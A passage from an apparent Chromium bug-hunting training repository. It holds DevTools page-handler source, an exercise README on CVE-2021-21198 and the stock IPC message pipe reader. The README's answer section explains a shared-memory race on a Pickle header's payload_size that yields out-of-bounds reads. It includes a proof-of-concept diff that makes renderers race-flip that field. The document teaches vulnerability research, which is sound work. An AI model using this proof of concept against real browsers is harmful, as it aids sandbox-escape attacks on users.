maybe_original_web_prefs;\n  if (capture_beyond_viewport.fromMaybe(false)) {\n    blink::web_pref::WebPreferences original_web_prefs =\n        host_->GetRenderViewHost()->GetDelegate()->GetOrCreateWebPreferences();\n    maybe_original_web_prefs = original_web_prefs;\n\n    blink::web_pref::WebPreferences modified_web_prefs = original_web_prefs;\n    // Hiding scrollbar is needed to avoid scrollbar artefacts on the\n    // screenshot. Details: https://crbug.com/1003629.\n    modified_web_prefs.hide_scrollbars = true;\n    modified_web_prefs.record_whole_document = true;\n    host_->GetRenderViewHost()->GetDelegate()->SetWebPreferences(\n        modified_web_prefs);\n\n    {\n      // TODO(crbug.com/1141835): Remove the bug is fixed.\n      // Walkaround for the bug. Emulated `view_size` has to be set twice,\n      // otherwise the scrollbar will be on the screenshot present.\n      blink::DeviceEmulationParams tmp_params = modified_params;\n      tmp_params.view_size = gfx::Size(1, 1);\n      emulation_handler_->SetDeviceEmulationParams(tmp_params);\n    }\n  }\n\n  // We use DeviceEmulationParams to either emulate, set viewport or both.\n  emulation_handler_->SetDeviceEmulationParams(modified_params);\n\n  // Set view size for the screenshot right after emulating.\n  if (clip.isJust()) {\n    double scale = dpfactor * clip.fromJust()->GetScale();\n    widget_host->GetView()->SetSize(\n        gfx::Size(base::ClampRound(clip.fromJust()->GetWidth() * scale),\n                  base::ClampRound(clip.fromJust()->GetHeight() * scale)));\n  } else if (emulation_enabled) {\n    widget_host->GetView()->SetSize(\n        gfx::ScaleToFlooredSize(emulated_view_size, dpfactor));\n  }\n  gfx::Size requested_image_size = gfx::Size();\n  if (emulation_enabled || clip.isJust()) {\n    if (clip.isJust()) {\n      requested_image_size =\n          gfx::Size(clip.fromJust()->GetWidth(), clip.fromJust()->GetHeight());\n    } else {\n      requested_image_size = emulated_view_size;\n    }\n    double scale = widget_host_device_scale_factor * dpfactor;\n    if (clip.isJust())\n      scale *= clip.fromJust()->GetScale();\n    requested_image_size = gfx::ScaleToRoundedSize(requested_image_size, scale);\n  }\n\n  widget_host->GetSnapshotFromBrowser(\n      base::BindOnce(&PageHandler::ScreenshotCaptured,\n                     weak_factory_.GetWeakPtr(), std::move(callback),\n                     screenshot_format, screenshot_quality, original_view_size,\n                     requested_image_size, original_params,\n                     maybe_original_web_prefs),\n      true);\n}\n\nvoid PageHandler::PrintToPDF(Maybe<bool> landscape,\n                             Maybe<bool> display_header_footer,\n                             Maybe<bool> print_background,\n                             Maybe<double> scale,\n                             Maybe<double> paper_width,\n                             Maybe<double> paper_height,\n                             Maybe<double> margin_top,\n                             Maybe<double> margin_bottom,\n                             Maybe<double> margin_left,\n                             Maybe<double> margin_right,\n                             Maybe<String> page_ranges,\n                             Maybe<bool> ignore_invalid_page_ranges,\n                             Maybe<String> header_template,\n                             Maybe<String> footer_template,\n                             Maybe<bool> prefer_css_page_size,\n                             Maybe<String> transfer_mode,\n                             std::unique_ptr<PrintToPDFCallback> callback) {\n  callback->sendFailure(Response::ServerError(\"PrintToPDF is not implemented\"));\n  return;\n}\n\nResponse PageHandler::StartScreencast(Maybe<std::string> format,\n                                      Maybe<int> quality,\n                                      Maybe<int> max_width,\n                                      Maybe<int> max_height,\n                                      Maybe<int> every_nth_frame) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n  RenderWidgetHostImpl* widget_host =\n      host_ ? host_->GetRenderWidgetHost() : nullptr;\n  if (!widget_host)\n    return Response::InternalError();\n\n  screencast_enabled_ = true;\n  screencast_format_ = format.fromMaybe(kPng);\n  screencast_quality_ = quality.fromMaybe(kDefaultScreenshotQuality);\n  if (screencast_quality_ < 0 || screencast_quality_ > 100)\n    screencast_quality_ = kDefaultScreenshotQuality;\n  screencast_max_width_ = max_width.fromMaybe(-1);\n  screencast_max_height_ = max_height.fromMaybe(-1);\n  ++session_id_;\n  frame_counter_ = 0;\n  frames_in_flight_ = 0;\n  capture_every_nth_frame_ = every_nth_frame.fromMaybe(1);\n  bool visible = !widget_host->is_hidden();\n  NotifyScreencastVisibility(visible);\n\n  if (video_consumer_) {\n    gfx::Size surface_size = gfx::Size();\n    RenderWidgetHostViewBase* const view =\n        static_cast<RenderWidgetHostViewBase*>(host_->GetView());\n    if (view) {\n      surface_size = view->GetCompositorViewportPixelSize();\n      last_surface_size_ = surface_size;\n    }\n\n    gfx::Size snapshot_size = DetermineSnapshotSize(\n        surface_size, screencast_max_width_, screencast_max_height_);\n    if (!snapshot_size.IsEmpty())\n      video_consumer_->SetMinAndMaxFrameSize(snapshot_size, snapshot_size);\n\n    video_consumer_->StartCapture();\n    return Response::FallThrough();\n  }\n\n  if (!visible)\n    return Response::FallThrough();\n\n  if (frame_metadata_) {\n    InnerSwapCompositorFrame();\n  } else {\n    widget_host->RequestForceRedraw(0);\n  }\n  return Response::FallThrough();\n}\n\nResponse PageHandler::StopScreencast() {\n  screencast_enabled_ = false;\n  if (video_consumer_)\n    video_consumer_->StopCapture();\n  return Response::FallThrough();\n}\n\nResponse PageHandler::ScreencastFrameAck(int session_id) {\n  if (session_id == session_id_)\n    --frames_in_flight_;\n  return Response::Success();\n}\n\nResponse PageHandler::HandleJavaScriptDialog(bool accept,\n                                             Maybe<std::string> prompt_text) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n\n  if (pending_dialog_.is_null())\n    return Response::InvalidParams(\"No dialog is showing\");\n\n  std::u16string prompt_override;\n  if (prompt_text.isJust())\n    prompt_override = base::UTF8ToUTF16(prompt_text.fromJust());\n  std::move(pending_dialog_).Run(accept, prompt_override);\n\n  // Clean up the dialog UI if any.\n  if (web_contents->GetDelegate()) {\n    JavaScriptDialogManager* manager =\n        web_contents->GetDelegate()->GetJavaScriptDialogManager(web_contents);\n    if (manager) {\n      manager->HandleJavaScriptDialog(\n          web_contents, accept,\n          prompt_text.isJust() ? &prompt_override : nullptr);\n    }\n  }\n\n  return Response::Success();\n}\n\nResponse PageHandler::BringToFront() {\n  WebContentsImpl* wc = GetWebContents();\n  if (wc) {\n    wc->Activate();\n    wc->Focus();\n    return Response::Success();\n  }\n  return Response::InternalError();\n}\n\nResponse PageHandler::SetDownloadBehavior(const std::string& behavior,\n                                          Maybe<std::string> download_path) {\n  BrowserContext* browser_context =\n      host_ ? host_->GetProcess()->GetBrowserContext() : nullptr;\n  if (!browser_context)\n    return Response::ServerError(\"Could not fetch browser context\");\n  if (host_ && host_->GetParent())\n    return Response::ServerError(kCommandIsOnlyAvailableAtTopTarget);\n  return browser_handler_->DoSetDownloadBehavior(behavior, browser_context,\n                                                 std::move(download_path));\n}\n\nvoid PageHandler::GetAppManifest(\n    std::unique_ptr<GetAppManifestCallback> callback) {\n  if (!host_) {\n    callback->sendFailure(Response::ServerError(\"Cannot retrieve manifest\"));\n    return;\n  }\n  if (!CanExecuteGlobalCommands(host_, callback))\n    return;\n  ManifestManagerHost::GetOrCreateForCurrentDocument(host_->GetMainFrame())\n      ->RequestManifestDebugInfo(base::BindOnce(&PageHandler::GotManifest,\n                                                weak_factory_.GetWeakPtr(),\n                                                std::move(callback)));\n}\n\nWebContentsImpl* PageHandler::GetWebContents() {\n  return host_ && !host_->frame_tree_node()->parent()\n             ? static_cast<WebContentsImpl*>(\n                   WebContents::FromRenderFrameHost(host_))\n             : nullptr;\n}\n\nvoid PageHandler::NotifyScreencastVisibility(bool visible) {\n  if (visible)\n    capture_retry_count_ = kCaptureRetryLimit;\n  frontend_->ScreencastVisibilityChanged(visible);\n}\n\nbool PageHandler::ShouldCaptureNextScreencastFrame() {\n  return frames_in_flight_ <= kMaxScreencastFramesInFlight &&\n         !(++frame_counter_ % capture_every_nth_frame_);\n}\n\nvoid PageHandler::InnerSwapCompositorFrame() {\n  if (!host_)\n    return;\n\n  if (!ShouldCaptureNextScreencastFrame())\n    return;\n\n  RenderWidgetHostViewBase* const view =\n      static_cast<RenderWidgetHostViewBase*>(host_->GetView());\n  if (!view || !view->IsSurfaceAvailableForCopy())\n    return;\n\n  const gfx::Size surface_size = view->GetCompositorViewportPixelSize();\n  if (surface_size.IsEmpty())\n    return;\n\n  const gfx::Size snapshot_size = DetermineSnapshotSize(\n      surface_size, screencast_max_width_, screencast_max_height_);\n  if (snapshot_size.IsEmpty())\n    return;\n\n  double top_controls_visible_height =\n      frame_metadata_->top_controls_height *\n      frame_metadata_->top_controls_shown_ratio;\n\n  std::unique_ptr<Page::ScreencastFrameMetadata> page_metadata =\n      BuildScreencastFrameMetadata(\n          surface_size, frame_metadata_->device_scale_factor,\n          frame_metadata_->page_scale_factor,\n          frame_metadata_->root_scroll_offset.value_or(gfx::Vector2dF()),\n          top_controls_visible_height);\n  if (!page_metadata)\n    return;\n\n  // Request a copy of the surface as a scaled SkBitmap.\n  view->CopyFromSurface(\n      gfx::Rect(), snapshot_size,\n      base::BindOnce(&PageHandler::ScreencastFrameCaptured,\n                     weak_factory_.GetWeakPtr(), std::move(page_metadata)));\n  frames_in_flight_++;\n}\n\nvoid PageHandler::OnFrameFromVideoConsumer(\n    scoped_refptr<media::VideoFrame> frame) {\n  if (!host_)\n    return;\n\n  if (!ShouldCaptureNextScreencastFrame())\n    return;\n\n  RenderWidgetHostViewBase* const view =\n      static_cast<RenderWidgetHostViewBase*>(host_->GetView());\n  if (!view)\n    return;\n\n  const gfx::Size surface_size = view->GetCompositorViewportPixelSize();\n  if (surface_size.IsEmpty())\n    return;\n\n  // If window has been resized, set the new dimensions.\n  if (surface_size != last_surface_size_) {\n    last_surface_size_ = surface_size;\n    gfx::Size snapshot_size = DetermineSnapshotSize(\n        surface_size, screencast_max_width_, screencast_max_height_);\n    if (!snapshot_size.IsEmpty())\n      video_consumer_->SetMinAndMaxFrameSize(snapshot_size, snapshot_size);\n    return;\n  }\n\n  double device_scale_factor, page_scale_factor;\n  double top_controls_visible_height;\n  gfx::Vector2dF root_scroll_offset;\n  GetMetadataFromFrame(*frame, &device_scale_factor, &page_scale_factor,\n                       &root_scroll_offset, &top_controls_visible_height);\n  std::unique_ptr<Page::ScreencastFrameMetadata> page_metadata =\n      BuildScreencastFrameMetadata(surface_size, device_scale_factor,\n                                   page_scale_factor, root_scroll_offset,\n                                   top_controls_visible_height);\n  if (!page_metadata)\n    return;\n\n  frames_in_flight_++;\n  ScreencastFrameCaptured(std::move(page_metadata),\n                          DevToolsVideoConsumer::GetSkBitmapFromFrame(frame));\n}\n\nvoid PageHandler::ScreencastFrameCaptured(\n    std::unique_ptr<Page::ScreencastFrameMetadata> page_metadata,\n    const SkBitmap& bitmap) {\n  if (bitmap.drawsNothing()) {\n    if (capture_retry_count_) {\n      --capture_retry_count_;\n      base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(\n          FROM_HERE,\n          base::BindOnce(&PageHandler::InnerSwapCompositorFrame,\n                         weak_factory_.GetWeakPtr()),\n          base::TimeDelta::FromMilliseconds(kFrameRetryDelayMs));\n    }\n    --frames_in_flight_;\n    return;\n  }\n  base::ThreadPool::PostTaskAndReplyWithResult(\n      FROM_HERE, {base::TaskShutdownBehavior::CONTINUE_ON_SHUTDOWN},\n      base::BindOnce(&EncodeSkBitmap, bitmap, screencast_format_,\n                     screencast_quality_),\n      base::BindOnce(&PageHandler::ScreencastFrameEncoded,\n                     weak_factory_.GetWeakPtr(), std::move(page_metadata)));\n}\n\nvoid PageHandler::ScreencastFrameEncoded(\n    std::unique_ptr<Page::ScreencastFrameMetadata> page_metadata,\n    const protocol::Binary& data) {\n  if (data.size() == 0) {\n    --frames_in_flight_;\n    return;  // Encode failed.\n  }\n\n  frontend_->ScreencastFrame(data, std::move(page_metadata), session_id_);\n}\n\nvoid PageHandler::ScreenshotCaptured(\n    std::unique_ptr<CaptureScreenshotCallback> callback,\n    const std::string& format,\n    int quality,\n    const gfx::Size& original_view_size,\n    const gfx::Size& requested_image_size,\n    const blink::DeviceEmulationParams& original_emulation_params,\n    const base::Optional<blink::web_pref::WebPreferences>&\n        maybe_original_web_prefs,\n    const gfx::Image& image) {\n  if (original_view_size.width()) {\n    RenderWidgetHostImpl* widget_host = host_->GetRenderWidgetHost();\n    widget_host->GetView()->SetSize(original_view_size);\n    emulation_handler_->SetDeviceEmulationParams(original_emulation_params);\n  }\n\n  if (maybe_original_web_prefs) {\n    host_->GetRenderViewHost()->GetDelegate()->SetWebPreferences(\n        maybe_original_web_prefs.value());\n  }\n\n  if (image.IsEmpty()) {\n    callback->sendFailure(\n        Response::ServerError(\"Unable to capture screenshot\"));\n    return;\n  }\n\n  if (!requested_image_size.IsEmpty() &&\n      (image.Width() != requested_image_size.width() ||\n       image.Height() != requested_image_size.height())) {\n    const SkBitmap* bitmap = image.ToSkBitmap();\n    SkBitmap cropped = SkBitmapOperations::CreateTiledBitmap(\n        *bitmap, 0, 0, requested_image_size.width(),\n        requested_image_size.height());\n    gfx::Image croppedImage = gfx::Image::CreateFrom1xBitmap(cropped);\n    callback->sendSuccess(EncodeImage(croppedImage, format, quality));\n  } else {\n    callback->sendSuccess(EncodeImage(image, format, quality));\n  }\n}\n\nvoid PageHandler::GotManifest(std::unique_ptr<GetAppManifestCallback> callback,\n                              const GURL& manifest_url,\n                              const ::blink::Manifest& parsed_manifest,\n                              blink::mojom::ManifestDebugInfoPtr debug_info) {\n  auto errors = std::make_unique<protocol::Array<Page::AppManifestError>>();\n  bool failed = true;\n  if (debug_info) {\n    failed = false;\n    for (const auto& error : debug_info->errors) {\n      errors->emplace_back(Page::AppManifestError::Create()\n                               .SetMessage(error->message)\n                               .SetCritical(error->critical)\n                               .SetLine(error->line)\n                               .SetColumn(error->column)\n                               .Build());\n      if (error->critical)\n        failed = true;\n    }\n  }\n\n  std::unique_ptr<Page::AppManifestParsedProperties> parsed;\n  if (!parsed_manifest.IsEmpty()) {\n    parsed = Page::AppManifestParsedProperties::Create()\n                 .SetScope(parsed_manifest.scope.possibly_invalid_spec())\n                 .Build();\n  }\n\n  callback->sendSuccess(\n      manifest_url.possibly_invalid_spec(), std::move(errors),\n      failed ? Maybe<std::string>() : debug_info->raw_manifest,\n      std::move(parsed));\n}\n\nResponse PageHandler::StopLoading() {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::InternalError();\n  web_contents->Stop();\n  return Response::Success();\n}\n\nResponse PageHandler::SetWebLifecycleState(const std::string& state) {\n  WebContentsImpl* web_contents = GetWebContents();\n  if (!web_contents)\n    return Response::ServerError(\"Not attached to a page\");\n  if (state == Page::SetWebLifecycleState::StateEnum::Frozen) {\n    // TODO(fmeawad): Instead of forcing a visibility change, only allow\n    // freezing a page if it was already hidden.\n    web_contents->WasHidden();\n    web_contents->SetPageFrozen(true);\n    return Response::Success();\n  }\n  if (state == Page::SetWebLifecycleState::StateEnum::Active) {\n    web_contents->SetPageFrozen(false);\n    return Response::Success();\n  }\n  return Response::ServerError(\"Unidentified lifecycle state\");\n}\n\nvoid PageHandler::GetInstallabilityErrors(\n    std::unique_ptr<GetInstallabilityErrorsCallback> callback) {\n  auto installability_errors =\n      std::make_unique<protocol::Array<Page::InstallabilityError>>();\n  // TODO: Use InstallableManager once it moves into content/.\n  // Until then, this code is only used to return empty array in the tests.\n  callback->sendSuccess(std::move(installability_errors));\n}\n\nvoid PageHandler::GetManifestIcons(\n    std::unique_ptr<GetManifestIconsCallback> callback) {\n  // TODO: Use InstallableManager once it moves into content/.\n  // Until then, this code is only used to return no image data in the tests.\n  callback->sendSuccess(Maybe<Binary>());\n}\n\n}  // namespace protocol\n}  // namespace content\n"
  },
  {
    "path": "LEVEL_3/exercise_6/README.md",
    "content": "# Exercise 6\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21198\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1184399\n\n</details>\n\n--------\n\n### Set environment\n\nafter fetch chromium\n```sh\ngit reset --hard 983a7365ebe7fa934fb4660409105bae294d70a5\n```\n\n\n\n### Related code\n```c++\n// Typemapped such that arbitrarily large IPC::Message objects can be sent and\n// received with minimal copying.\nstruct Message {\n  mojo_base.mojom.BigBuffer buffer;\n  array<mojo.native.SerializedHandle>? handles;\n};\n========================================\nunion BigBuffer {\n  array<uint8> bytes;\n  BigBufferSharedMemoryRegion shared_memory;\n  bool invalid_buffer;\n};\n```\nipc/ipc_message_pipe_reader.cc\nbase/pickle.cc\n\n\ntips: You just need to think how `shared_memory` can be used to breaking mojo.\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  ```c++\n// Typemapped such that arbitrarily large IPC::Message objects can be sent and\n// received with minimal copying.\nstruct Message {\n  mojo_base.mojom.BigBuffer buffer;       [1]\n  array<mojo.native.SerializedHandle>? handles;\n};\n=======================================\nunion BigBuffer {\n  array<uint8> bytes;\n  BigBufferSharedMemoryRegion shared_memory;  [2]\n  bool invalid_buffer;\n};\n  ```\n  [1] | [2] `BigBuffer` is backed by an `array` of bytes when the message is **small**; but it's backed by `shared memory` if the message is **large**. This means that a malicious renderer can send legacy `IPC messages` backed by `shared memory`.\n\n  ```c++\nvoid MessagePipeReader::Receive(MessageView message_view) {\n  if (!message_view.size()) {\n    delegate_->OnBrokenDataReceived();\n    return;\n  }\n  Message message(message_view.data(), message_view.size()); [3]\n  if (!message.IsValid()) {\n    delegate_->OnBrokenDataReceived();\n    return;\n  }\n[ ... ]\n  ```\n  [3] `ipc::Message` inherits from `base::Pickle`\n  ```c++\nclass IPC_MESSAGE_SUPPORT_EXPORT Message : public base::Pickle {\n public:\n//[ ... ]\n  // Initializes a message from a const block of data.  The data is not copied;\n  // instead the data is merely referenced by this message.  Only const methods\n  // should be used on the message when initialized this way.\n  Message(const char* data, int data_len);\n=============================================\nMessage::Message(const char* data, int data_len)\n    : base::Pickle(data, data_len) {     [4]\n  Init();\n}\n  ```\n  The constructor of `Message` call `Pickle`'s constructor\n  ```c++\nPickle::Pickle(const char* data, size_t data_len)\n    : header_(reinterpret_cast<Header*>(const_cast<char*>(data))),\n      header_size_(0),\n      capacity_after_header_(kCapacityReadOnly),\n      write_offset_(0) {\n  if (data_len >= static_cast<int>(sizeof(Header)))     [5]\n    header_size_ = data_len - header_->payload_size; \n\n  if (header_size_ > static_cast<unsigned int>(data_len))\n    header_size_ = 0;\n[ ... ]\n  ```\n  [5] after check `payload_size` at this point, we can chenge `payload_size` in Pickle's header by the other side which have the access of `shared_memory`\n\n  Since `base::Pickle` expects to find a `header` at the start of the region, by changing the length field in that header after the checks in the `Pickle` constructor\n\n  ```c++\nPickleIterator::PickleIterator(const Pickle& pickle)\n: payload_(pickle.payload()),\n    read_index_(0),\n    end_index_(pickle.payload_size()) {     [6]\n}\n===================================================\n// This class provides facilities for basic binary value packing and unpacking.\n//\n// The Pickle's data has a header which contains the size of the Pickle's\n// payload.  It can optionally support additional space in the header.  That\n// space is controlled by the header_size parameter passed to the Pickle\n// constructor.\n//\nclass BASE_EXPORT Pickle {\n public:\n //[ ... ]\n  // The payload is the pickle data immediately following the header.\n  size_t payload_size() const {\n    return header_ ? header_->payload_size : 0;    [7]\n  }\n  ```\n\n  [6] ｜ [7] `PickleIterator`'s `end_index_ == header_->payload_size`, we can use it to oob read\n\n  ```c++\n// PickleIterator reads data from a Pickle. The Pickle object must remain valid\n// while the PickleIterator object is in use.\nclass BASE_EXPORT PickleIterator {\n public:\n  PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {}\n  explicit PickleIterator(const Pickle& pickle);\n\n  // Methods for reading the payload of the Pickle. To read from the start of\n  // the Pickle, create a PickleIterator from a Pickle. If successful, these\n  // methods return true. Otherwise, false is returned to indicate that the\n  // result could not be extracted. It is not possible to read from the iterator\n  // after that.\n  bool ReadBool(bool* result) WARN_UNUSED_RESULT;\n  bool ReadInt(int* result) WARN_UNUSED_RESULT;\n  bool ReadLong(long* result) WARN_UNUSED_RESULT;\n  [ ... ]\n  ```\n  Set `PickleIterator.end_index_` to a huge num, we can get oob read by these Methods.\n\n  **Poc**\n\n  We can write code in source file\n\n  The attached patch forces all legacy IPC messages sent by renderers to be sent as *shared memory*, and *creates a new thread* in each renderer that *flips the high bits of the payload_size* value for a short period after each message is sent; this has a \"reasonable\" chance of having valid values to pass through the checks, and then invalid values later on.\n  ```diff\ndiff --git a/ipc/ipc_message_pipe_reader.cc b/ipc/ipc_message_pipe_reader.cc\nindex 6e7bf51b0e05..2d3b57e7a205 100644\n--- a/ipc/ipc_message_pipe_reader.cc\n+++ b/ipc/ipc_message_pipe_reader.cc\n@@ -6,10 +6,13 @@\n \n #include <stdint.h>\n \n+#include <iostream>\n #include <utility>\n \n #include \"base/bind.h\"\n #include \"base/callback_helpers.h\"\n+#include \"base/command_line.h\"\n+#include \"base/debug/stack_trace.h\"\n #include \"base/location.h\"\n #include \"base/logging.h\"\n #include \"base/macros.h\"\n@@ -18,6 +21,13 @@\n #include \"ipc/ipc_channel_mojo.h\"\n #include \"mojo/public/cpp/bindings/message.h\"\n \n+std::string GetProcessType() {\n+  std::string type = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\"type\");\n+  if (type == \"\")\n+    return \"browser\";\n+  return type;\n+}\n+\n namespace IPC {\n namespace internal {\n \n@@ -35,6 +45,10 @@ MessagePipeReader::MessagePipeReader(\n   receiver_.set_disconnect_handler(\n       base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),\n                      MOJO_RESULT_FAILED_PRECONDITION));\n+  if (GetProcessType() == \"renderer\") {\n+    race_thread_ = std::make_unique<base::Thread>(\"race_thread\");\n+    race_thread_->Start();\n+  }\n }\n \n MessagePipeReader::~MessagePipeReader() {\n@@ -49,6 +63,17 @@ void MessagePipeReader::Close() {\n     receiver_.reset();\n }\n \n+static void race_ipc_message(mojo::ScopedSharedBufferHandle shm_handle) {\n+  auto mapping = shm_handle->Map(0x100);\n+  fprintf(stderr, \"racing\\n\");\n+  volatile uint32_t* ptr = (volatile uint32_t*)mapping.get();\n+  for (int i = 0; i < 0x80000; ++i) {\n+    *ptr ^= 0x23230000;\n+  }\n+  *ptr ^= 0x23230000;\n+  fprintf(stderr, \"done racing\\n\");\n+}\n+\n bool MessagePipeReader::Send(std::unique_ptr<Message> message) {\n   CHECK(message->IsValid());\n   TRACE_EVENT_WITH_FLOW0(\"toplevel.flow\", \"MessagePipeReader::Send\",\n@@ -62,9 +87,27 @@ bool MessagePipeReader::Send(std::unique_ptr<Message> message) {\n   if (!sender_)\n     return false;\n \n-  sender_->Receive(MessageView(*message, std::move(handles)));\n-  DVLOG(4) << \"Send \" << message->type() << \": \" << message->size();\n-  return true;\n+  if (GetProcessType() == \"renderer\") {\n+    auto shm_handle = mojo::SharedBufferHandle::Create(message->size() > 0x1000 ? message->size() : 0x1000);\n+    auto shm_handle_copy = shm_handle->Clone(mojo::SharedBufferHandle::AccessMode::READ_WRITE);\n+\n+    mojo_base::internal::BigBufferSharedMemoryRegion shm_region(std::move(shm_handle), message->size());\n+    memcpy(shm_region.memory(), message->data(), message->size());\n+    mojo_base::BigBufferView big_buffer_view;\n+    big_buffer_view.SetSharedMemory(std::move(shm_region));\n+\n+    race_thread_->task_runner()->PostTask(FROM_HERE, \n+      base::BindOnce(race_ipc_message, std::move(shm_handle_copy)));\n+\n+    sender_->Receive(MessageView(std::move(big_buffer_view), std::move(handles)));\n+\n+    DVLOG(4) << \"Send \" << message->type() << \": \" << message->size();\n+    return true;\n+  } else {\n+    sender_->Receive(MessageView(*message, std::move(handles)));\n+    DVLOG(4) << \"Send \" << message->type() << \": \" << message->size();\n+    return true;\n+  }\n }\n \n void MessagePipeReader::GetRemoteInterface(\ndiff --git a/ipc/ipc_message_pipe_reader.h b/ipc/ipc_message_pipe_reader.h\nindex b7f73d2a9aee..6c26987dadcd 100644\n--- a/ipc/ipc_message_pipe_reader.h\n+++ b/ipc/ipc_message_pipe_reader.h\n@@ -15,6 +15,7 @@\n #include \"base/component_export.h\"\n #include \"base/macros.h\"\n #include \"base/process/process_handle.h\"\n+#include \"base/threading/thread.h\"\n #include \"base/threading/thread_checker.h\"\n #include \"ipc/ipc.mojom.h\"\n #include \"ipc/ipc_message.h\"\n@@ -106,6 +107,9 @@ class COMPONENT_EXPORT(IPC) MessagePipeReader : public mojom::Channel {\n   Delegate* delegate_;\n   mojo::AssociatedRemote<mojom::Channel> sender_;\n   mojo::AssociatedReceiver<mojom::Channel> receiver_;\n+\n+  std::unique_ptr<base::Thread> race_thread_;\n+\n   base::ThreadChecker thread_checker_;\n \n   DISALLOW_COPY_AND_ASSIGN(MessagePipeReader);\n\n  ```\n\n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_3/exercise_6/ipc_message_pipe_reader.cc",
    "content": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"ipc/ipc_message_pipe_reader.h\"\n\n#include <stdint.h>\n\n#include <utility>\n\n#include \"base/bind.h\"\n#include \"base/callback_helpers.h\"\n#include \"base/location.h\"\n#include \"base/logging.h\"\n#include \"base/macros.h\"\n#include \"base/single_thread_task_runner.h\"\n#include \"base/threading/thread_task_runner_handle.h\"\n#include \"ipc/ipc_channel_mojo.h\"\n#include \"mojo/public/cpp/bindings/message.h\"\n\nnamespace IPC {\nnamespace internal {\n\nMessagePipeReader::MessagePipeReader(\n    mojo::MessagePipeHandle pipe,\n    mojo::AssociatedRemote<mojom::Channel> sender,\n    mojo::PendingAssociatedReceiver<mojom::Channel> receiver,\n    MessagePipeReader::Delegate* delegate)\n    : delegate_(delegate),\n      sender_(std::move(sender)),\n      receiver_(this, std::move(receiver)) {\n  sender_.set_disconnect_handler(\n      base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),\n                     MOJO_RESULT_FAILED_PRECONDITION));\n  receiver_.set_disconnect_handler(\n      base::BindOnce(&MessagePipeReader::OnPipeError, base::Unretained(this),\n                     MOJO_RESULT_FAILED_PRECONDITION));\n}\n\nMessagePipeReader::~MessagePipeReader() {\n  DCHECK(thread_checker_.CalledOnValidThread());\n  // The pipe should be closed before deletion.\n}\n\nvoid MessagePipeReader::Close() {\n  DCHECK(thread_checker_.CalledOnValidThread());\n  sender_.reset();\n  if (receiver_.is_bound())\n    receiver_.reset();\n}\n\nbool MessagePipeReader::Send(std::unique_ptr<Message> message) {\n  CHECK(message->IsValid());\n  TRACE_EVENT_WITH_FLOW0(\"toplevel.flow\", \"MessagePipeReader::Send\",\n                         message->flags(), TRACE_EVENT_FLAG_FLOW_OUT);\n  base::Optional<std::vector<mojo::native::SerializedHandlePtr>> handles;\n  MojoResult result = MOJO_RESULT_OK;\n  result = ChannelMojo::ReadFromMessageAttachmentSet(message.get(), &handles);\n  if (result != MOJO_RESULT_OK)\n    return false;\n\n  if (!sender_)\n    return false;\n\n  sender_->Receive(MessageView(*message, std::move(handles)));\n  DVLOG(4) << \"Send \" << message->type() << \": \" << message->size();\n  return true;\n}\n\nvoid MessagePipeReader::GetRemoteInterface(\n    const std::string& name,\n    mojo::ScopedInterfaceEndpointHandle handle) {\n  if (!sender_.is_bound())\n    return;\n  sender_->GetAssociatedInterface(\n      name, mojo::PendingAssociatedReceiver<mojom::GenericInterface>(\n                std::move(handle)));\n}\n\nvoid MessagePipeReader::SetPeerPid(int32_t peer_pid) {\n  delegate_->OnPeerPidReceived(peer_pid);\n}\n\nvoid MessagePipeReader::Receive(MessageView message_view) {\n  if (!message_view.size()) {\n    delegate_->OnBrokenDataReceived();\n    return;\n  }\n  Message message(message_view.data(), message_view.size());\n  if (!message.IsValid()) {\n    delegate_->OnBrokenDataReceived();\n    return;\n  }\n\n  DVLOG(4) << \"Receive \" << message.type() << \": \" << message.size();\n  MojoResult write_result = ChannelMojo::WriteToMessageAttachmentSet(\n      message_view.TakeHandles(), &message);\n  if (write_result != MOJO_RESULT_OK) {\n    OnPipeError(write_result);\n    return;\n  }\n\n  TRACE_EVENT_WITH_FLOW0(\"toplevel.flow\", \"MessagePipeReader::Receive\",\n                         message.flags(), TRACE_EVENT_FLAG_FLOW_IN);\n  delegate_->OnMessageReceived(message);\n}\n\nvoid MessagePipeReader::GetAssociatedInterface(\n    const std::string& name,\n    mojo::PendingAssociatedReceiver<mojom::GenericInterface> receiver) {\n  DCHECK(thread_checker_.CalledOnValidThread());\n  if (delegate_)\n    delegate_->OnAssociatedInterfaceRequest(name, receiver.PassHandle());\n}\n\nvoid MessagePipeReader::OnPipeError(MojoResult error) {\n  DCHECK(thread_checker_.CalledOnValidThread());\n\n  Close();\n\n  // NOTE: The delegate call below may delete |this|.\n  if (delegate_)\n    delegate_->OnPipeError();\n}\n\n}  // namespace internal\n}  // namespace IPC\n"
  },
  {
    "path": "LEVEL_3/exercise_6/pickle.cc",
